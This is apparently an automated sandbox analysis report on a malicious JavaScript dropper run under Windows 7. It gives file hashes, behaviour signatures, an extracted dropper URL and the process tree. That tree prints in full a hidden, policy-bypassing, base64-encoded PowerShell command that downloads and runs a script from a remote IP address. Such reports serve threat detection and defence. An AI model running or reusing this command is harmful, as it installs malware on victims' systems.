90b76f040fda32466006591021f2e291721a522ed1f280033b42d4f1e6461280

Analysis

max time kernel
30s
max time network
33s
platform
windows7_x64
resource
win7-20230220-en
resource tags

arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
submitted
19/05/2023, 16:10

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General

Target

90b76f040fda32466006591021f2e291721a522ed1f280033b42d4f1e6461280.js
Size

30KB
MD5

44ceea9bb05fe4616c1b09a0c1f520df
SHA1

748c91404e96a24b4e382faf3e514e921f6d42c9
SHA256

90b76f040fda32466006591021f2e291721a522ed1f280033b42d4f1e6461280
SHA512

a05384f6ff425efc917f00249cd23b5af96d8dda53f8b328ef1c6d1787c99549d439ccdb490960cacd97fe9ef336af91b24980547104a910c55059f942b7ecaa
SSDEEP

384:O39+2LVw4HL53XjwAKbTNhLYKFUtBFe9B9PlRSOfXAWbQjNP:1ow+3XUAKnNyKuFcoWbYx

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://193.233.233.92/f2.ps1

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
3	1496	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1496	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1496	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1336 wrote to memory of 916	1336	wscript.exe	28
PID 1336 wrote to memory of 916	1336	wscript.exe	28
PID 1336 wrote to memory of 916	1336	wscript.exe	28
PID 916 wrote to memory of 1496	916	cmd.exe	30
PID 916 wrote to memory of 1496	916	cmd.exe	30
PID 916 wrote to memory of 1496	916	cmd.exe	30

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\90b76f040fda32466006591021f2e291721a522ed1f280033b42d4f1e6461280.js
1⤵
- Suspicious use of WriteProcessMemory
PID:1336
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powersHell -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AMQA5ADMALgAyADMAMwAuADIAMwAzAC4AOQAyAC8AZgAyAC4AcABzADEAIgApAA==
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:916
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powersHell -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AMQA5ADMALgAyADMAMwAuADIAMwAzAC4AOQAyAC8AZgAyAC4AcABzADEAIgApAA==
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1496

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1496-59-0x0000000002920000-0x00000000029A0000-memory.dmp

Filesize
512KB

Download
memory/1496-60-0x000000001B290000-0x000000001B572000-memory.dmp

Filesize
2.9MB

Download
memory/1496-61-0x00000000025A0000-0x00000000025A8000-memory.dmp

Filesize
32KB

Download
memory/1496-62-0x0000000002920000-0x00000000029A0000-memory.dmp

Filesize
512KB

Download